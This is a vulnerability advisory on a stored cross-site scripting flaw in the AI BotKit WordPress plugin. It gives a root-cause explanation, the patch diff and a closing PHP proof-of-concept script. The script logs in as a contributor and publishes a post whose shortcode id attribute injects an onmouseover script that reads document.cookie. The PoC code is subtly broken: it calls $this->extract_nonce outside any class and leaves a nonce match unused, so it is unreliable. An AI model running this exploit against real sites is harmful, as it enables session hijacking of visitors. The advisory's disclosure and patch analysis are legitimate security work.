Atomic Edge analysis of CVE-2025-13887:
The AI BotKit WordPress plugin version 1.1.7 and earlier contains an authenticated stored cross-site scripting vulnerability. The vulnerability exists in the plugin’s shortcode handler, allowing contributors and higher-privileged users to inject malicious scripts into pages and posts. The CVSS score of 6.4 reflects the requirement for contributor-level access and the stored nature of the attack.
Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping in the `ai_botkit_widget` shortcode handler. The vulnerability occurs in `/includes/public/class-shortcode-handler.php` within the `render_chatbot_widget` method. The function extracts the `id` parameter from shortcode attributes without sanitization (line 31). It then directly concatenates the unsanitized value into the HTML output (line 39), creating a DOM attribute injection vector.
Exploitation requires an authenticated attacker with at least contributor-level permissions. The attacker creates or edits a post containing the `[ai_botkit_widget]` shortcode with a malicious payload in the `id` attribute. A payload example is `[ai_botkit_widget id=”‘ onmouseover=’alert(document.cookie)”]`. When the post renders, the payload executes in visitors’ browsers. The attack vector is the WordPress post editor, with the `id` parameter serving as the injection point.
The patch in version 1.1.8 addresses the vulnerability through two complementary fixes. First, it adds `sanitize_text_field()` to clean the `id` parameter input (line 32). Second, it replaces direct string concatenation with `sprintf()` and `esc_attr()` for proper output escaping (lines 42-45). The patch also applies `esc_attr()` to the `id` parameter in the `render_chatbot_automatically` method (lines 62 and 66), fixing similar issues in automatic rendering contexts.
Successful exploitation allows attackers to inject arbitrary JavaScript that executes in the context of any user viewing the compromised page. This can lead to session hijacking, credential theft, content defacement, and redirection to malicious sites. The stored nature means the payload persists and executes for all subsequent visitors until removed, amplifying the impact beyond reflected XSS attacks.
--- a/ai-botkit-for-lead-generation/ai-botkit-for-lead-generation.php
+++ b/ai-botkit-for-lead-generation/ai-botkit-for-lead-generation.php
@@ -1,9 +1,9 @@
<?php
/**
- * Plugin Name: AI BotKit – AI Chatbot for WordPress – Free No-Code ChatGPT Plugin
+ * Plugin Name: AI ChatBot for WordPress by AI BotKit - Live in 2 Minutes, No Code
* Plugin URI: https://aibotkit.io
* Description: Add a smart ChatGPT-powered AI chatbot to your WordPress site — automate support, answer FAQs, and capture leads 24/7.
- * Version: 1.1.7
+ * Version: 1.1.8
* Author: WisdmLabs
* Author URI: https://wisdmlabs.com/
* License: GPL v2 or later
@@ -20,7 +20,7 @@
}
// Plugin version and constants
-define('AI_BOTKIT_VERSION', '1.1.7');
+define('AI_BOTKIT_VERSION', '1.1.8');
define('AI_BOTKIT_PLUGIN_DIR', plugin_dir_path(__FILE__));
define('AI_BOTKIT_PLUGIN_URL', plugin_dir_url(__FILE__));
define('AI_BOTKIT_INCLUDES_DIR', AI_BOTKIT_PLUGIN_DIR . 'includes/');
@@ -58,4 +58,4 @@
$plugin = new AI_BotKitAI_BotKit();
$plugin->run();
}
-add_action('plugins_loaded', 'ai_botkit_init');
No newline at end of file
+add_action('plugins_loaded', 'ai_botkit_init');
--- a/ai-botkit-for-lead-generation/includes/public/class-shortcode-handler.php
+++ b/ai-botkit-for-lead-generation/includes/public/class-shortcode-handler.php
@@ -31,6 +31,9 @@
'id' => '',
], $atts);
+ // Sanitize input
+ $chatbot_id = sanitize_text_field($args['id']);
+
global $ai_botkit_url;
wp_enqueue_script(
'ai-botkit-chatbot',
@@ -39,7 +42,11 @@
AI_BOTKIT_VERSION,
false
);
- return '<div id="ai-bot-kit-chatbot" data-chatbot-id="' . $args['id'] . '"></div>';
+
+ return sprintf(
+ '<div id="ai-bot-kit-chatbot" data-chatbot-id="%s"></div>',
+ esc_attr($chatbot_id)
+ );
}
/**
@@ -54,13 +61,13 @@
if ( isset($post->post_content) && has_shortcode($post->post_content, 'ai_botkit_widget') ) {
return;
}
- if ( isset($site_wide_chatbot_id) && $site_wide_chatbot_id !== 0 ) {
- echo do_shortcode('[ai_botkit_widget id="' . $site_wide_chatbot_id . '"]');
+ if ( isset($site_wide_chatbot_id) && $site_wide_chatbot_id != 0 ) {
+ echo do_shortcode('[ai_botkit_widget id="' . esc_attr($site_wide_chatbot_id) . '"]');
}
if ( is_array($enabled_pages) && isset($enabled_pages[$post->ID]) ) {
- echo do_shortcode('[ai_botkit_widget id="' . $enabled_pages[$post->ID][0] . '"]');
+ echo do_shortcode('[ai_botkit_widget id="' . esc_attr($enabled_pages[$post->ID][0]) . '"]');
}
}
-}
No newline at end of file
+}
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-13887 - AI BotKit <= 1.1.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
<?php
$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/post.php';
$username = 'contributor_user';
$password = 'contributor_password';
// Payload to inject JavaScript via the 'id' attribute
$malicious_id = "' onmouseover='alert(document.cookie)";
$post_content = "This post contains a malicious AI BotKit widget.nn[ai_botkit_widget id='{$malicious_id}']";
// Initialize cURL session for WordPress login
$ch = curl_init();
// First, get the login page to retrieve nonce and cookies
curl_setopt_array($ch, [
CURLOPT_URL => str_replace('post.php', 'wp-login.php', $target_url),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => '/tmp/wp_cookies.txt',
CURLOPT_COOKIEFILE => '/tmp/wp_cookies.txt',
]);
$login_page = curl_exec($ch);
// Extract the login nonce (wpnonce) from the form
preg_match('/name="log"[^>]*>/', $login_page, $matches);
// Perform login
$login_data = http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
]);
curl_setopt_array($ch, [
CURLOPT_URL => str_replace('post.php', 'wp-login.php', $target_url),
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $login_data,
CURLOPT_FOLLOWLOCATION => true,
]);
$login_response = curl_exec($ch);
// Check if login was successful by looking for admin bar
if (strpos($login_response, 'wp-admin-bar') === false) {
die('Login failed. Check credentials.');
}
// Now create a new post with the malicious shortcode
$post_data = http_build_query([
'post_title' => 'XSS Test Post',
'content' => $post_content,
'publish' => 'Publish',
'post_type' => 'post',
'_wpnonce' => $this->extract_nonce($login_response, '_wpnonce'),
'_wp_http_referer' => '/wp-admin/post-new.php'
]);
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $post_data,
]);
$post_response = curl_exec($ch);
curl_close($ch);
// Helper function to extract nonce from page
function extract_nonce($html, $nonce_name) {
preg_match('/name="' . preg_quote($nonce_name) . '" value="([^"]+)"/', $html, $matches);
return $matches[1] ?? '';
}
echo 'Post created with malicious AI BotKit shortcode. Visit the post to trigger XSS.';
?>